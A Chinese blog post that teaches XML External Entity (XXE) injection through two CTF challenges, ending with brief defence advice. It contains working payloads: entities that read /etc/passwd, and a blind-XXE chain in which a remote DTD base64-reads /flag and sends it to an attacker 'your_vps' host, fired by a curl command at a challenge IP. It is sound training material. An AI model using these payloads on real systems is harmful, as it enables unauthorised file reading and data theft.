Hpdoger's Blog.

从两道CTF题目学习XXE漏洞

Word count: 2,067 / Reading time: 8 min
2019/01/07 Share

从两道CTF题目学习XXE漏洞

接触安全到现在,一直没有碰xxe相关的知识。一是觉得xml类型的东西太概念化了,二是觉得实用性不大,因为现在很少见到用xml形式来传输数据。不巧的是最近35CTF就有一道blind xxe题目,干脆把之前的坑填了,从零来学习一下XXE漏洞

XML相关知识

什么是XML

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

通俗点来说就是存储数据的一种格式

它的形式类似于html,都是标签闭合,且有根元素和子元素说法,例如note就是根元素,from和to都是子元素

什么是实体

实体有以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体。这里简要说一下内部实体和引发XXE漏洞的外部实体、参数实体

内部实体

即在xml文档中自定义一个实体
格式:<!ENTITY 实体名称 "实体的值">,这是一种引入形式,好比C中引入变量都要声明变量,只不过在XML里引入的不叫变量,而叫做实体

外部实体

格式:<!ENTITY 实体名称 SYSTEM "URI">,在xml里不给实体赋予具体的值,而是通过某URI引入,叫做外部实体引入

下面是支持使用的URI

关于外部实体引用file协议的例子如下:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

参数实体

1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

外部引入参数实体的例子:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

注意:%name(参数实体)是在DTD中被引用的,而其余实体是在xml文档中被引用的。

什么是DTD

W3C定义:DTD即文档类型定义(document type define),可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

我理解的DTD是构建一个区域,声明在区域中要引入的实体\元素

内部声明DTD

语法:<!DOCTYPE 根元素 [元素声明]>

即在xml文档内部用DTD声明:我的根元素是root,在根元素下有to、from这些元素。

其实,你声明的元素和下面的元素名称不对应时也会进行解析。所以我觉得用DTD的用处就是给使用者一个目录栏,为了告诉他们下面的元素结构是什么样子的,而目录栏标题的名字是否正确不做强制要求。

PS:#PCDATA的意思是解析字符数据

外部声明DTD

语法:<!DOCTYPE 根元素 SYSTEM "文件名">,即引入外部的dtd声明,其中dtd文件就是引入的实体

XXE

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

上文的外部实体引入部分,可以调用URI来加载数据,这也是造成漏洞点的地方。

有回显的XXE

jarvisoj平台上的题目

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

35CTF Blind XXE

这个是XXE漏洞能够利用的普遍场景,一般能利用XXE的地方有回显的机率几乎为0。利用blind xxe把数据外带到自己的服务器

代码分析

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function __autoload($cls) {
include $cls;
}

class Black {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set("highlight.string", "#0d0d0d");
if ($default) ini_set("highlight.default", "#0d0d0d");
if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

if ($store) {
setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
}
}
}

class Green {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set("highlight.string", "#00fb00");
if ($default) ini_set("highlight.default", "#00fb00");
if ($keyword) ini_set("highlight.keyword", "#00fb00");

if ($store) {
setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
}
}
}

if ($_=@$_GET['theme']) {
if (in_array($_, ["Black", "Green"])) {
if (@class_exists($_)) {
($string = @$_GET['string']) || $string = false;
($default = @$_GET['default']) || $default = false;
($keyword = @$_GET['keyword']) || $keyword = false;

new $_($string, $default, $keyword, @$_GET['store']);
}
}
} else if ($_=@$_COOKIE['theme']) {
$args = explode('-', $_);
if (class_exists($args[0])) {
new $args[0]($args[1], $args[2], $args[3], '');
}
} else if ($_=@$_GET['info']) {
phpinfo();
}

highlight_file(__FILE__);

关于代码逻辑部分简单说一下:

theme、string、default、keyword参数决定cookie,如果cookie存在则对cookie的四个参数以“-”号分割处理:把第一部分当作类名、其余三部分当作初始参数进行实例化。

__autoload()方法没什么用,因为php7.2+以后此方法被废弃了,而环境刚好是7.21,所以是出题人用来混淆的。

既然代码没什么可用的类,就看看能不能实例化可以用的php原生类,这里复盘,SimpleXMlElement可用

关于这个类的具体使用介绍:http://php.net/manual/zh/class.simplexmlelement.php

这里仅仅大致用法:

所以思路就是Blind XXE,让服务器远程解析我们服务器上的xml,获取的数据再次发送到我们的服务器上。

一开始构造xml的poc花了半天时间,主要踩了两个坑:

1、在内部DTD声明中,参数实体不能嵌套参数实体使用,即下方的用法是不允许的,:

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file "hpdoger">
<!ENTITY % send SYSTEM 'http://vps/?file=%file;'>

%send;
]>

只能引入外部声明DTD才能进行参数实体嵌套使用,但是嵌套使用还必须满足下面的一个条件

2、 这点是key师傅点播到的:在引入外部DTD声明之后,想要嵌套其它参数实体就必须要用一个“中间参数实体”去搭桥,这个中间参数实体可以理解为eval。具体实现方法看下面的POC

POC

vps上的xml文件如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % send SYSTEM 'http://your_vps/test2.dtd'>

%send;
%test;
%back;
]>

vps上的外部DTD声明文件test2.dtd如下:

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://your_vps/?file=%file;'>">

用Curl发送请求,–cookie指定请求cookie参数

1
curl -v --cookie "theme=SimpleXMlElement-http://your_vps/xxe.xml-2-true" "http://35.207.132.47:82"

查看web日志即能看到base64加密的flag

其中:

  • 外部实体send引入外部DTD声明
  • 参数实体test即为“中间参数实体”
  • %为了避免编码问题
  • base64-encode是防止文件内容有空格导致http传输时被截断

题外话

关于FUZZ

关于服务端接收请求,如果已经有lnmp的环境最好。没有的话,这里推荐两个项目:

  1. TheTwitchy:https://github.com/TheTwitchy/xxer

  2. docker快速搭建lnmp+ssh(自己的项目求start:):

https://github.com/Hpd0ger/docker-lnmp

关于XXE漏洞挖掘

XML作为介质传输流程应该是这样的:

用户传输敏感数据->xml形式传输->后端解析xml(loadXML)->将各DOM节点转化为SimpleXML节点(最终为数组形式,节点名为键名,节点值为键值)->提取对应节点键值->数据提取/用户判断

漏洞点就在后端解析xml。

当后端使用loadXML()的方法解析xml文档时,会解析恶意xml语句即外部实体的引用,从而造成漏洞。

在挖掘漏洞的时候尤其注意两点:

  1. content-type: application/xml
  2. xml形式的数据传输e.g:<user>admin</user>

关于防御

  1. 对于PHP,禁止引用外部实体

    1
    libxml_disable_entity_loader(true);
  2. 对于其它语言,其实做好过滤就行了。但是很少见到用xml形式的数据传输了..说多了也没啥用

CATALOG
  1. 1. 从两道CTF题目学习XXE漏洞
  2. 2. XML相关知识
    1. 2.1. 什么是XML
    2. 2.2. 什么是实体
      1. 2.2.1. 内部实体
      2. 2.2.2. 外部实体
      3. 2.2.3. 参数实体
    3. 2.3. 什么是DTD
      1. 2.3.1. 内部声明DTD
      2. 2.3.2. 外部声明DTD
  3. 3. XXE
    1. 3.1. 有回显的XXE
    2. 3.2. 35CTF Blind XXE
      1. 3.2.1. 代码分析
      2. 3.2.2. POC
  4. 4. 题外话
    1. 4.1. 关于FUZZ
    2. 4.2. 关于XXE漏洞挖掘
    3. 4.3. 关于防御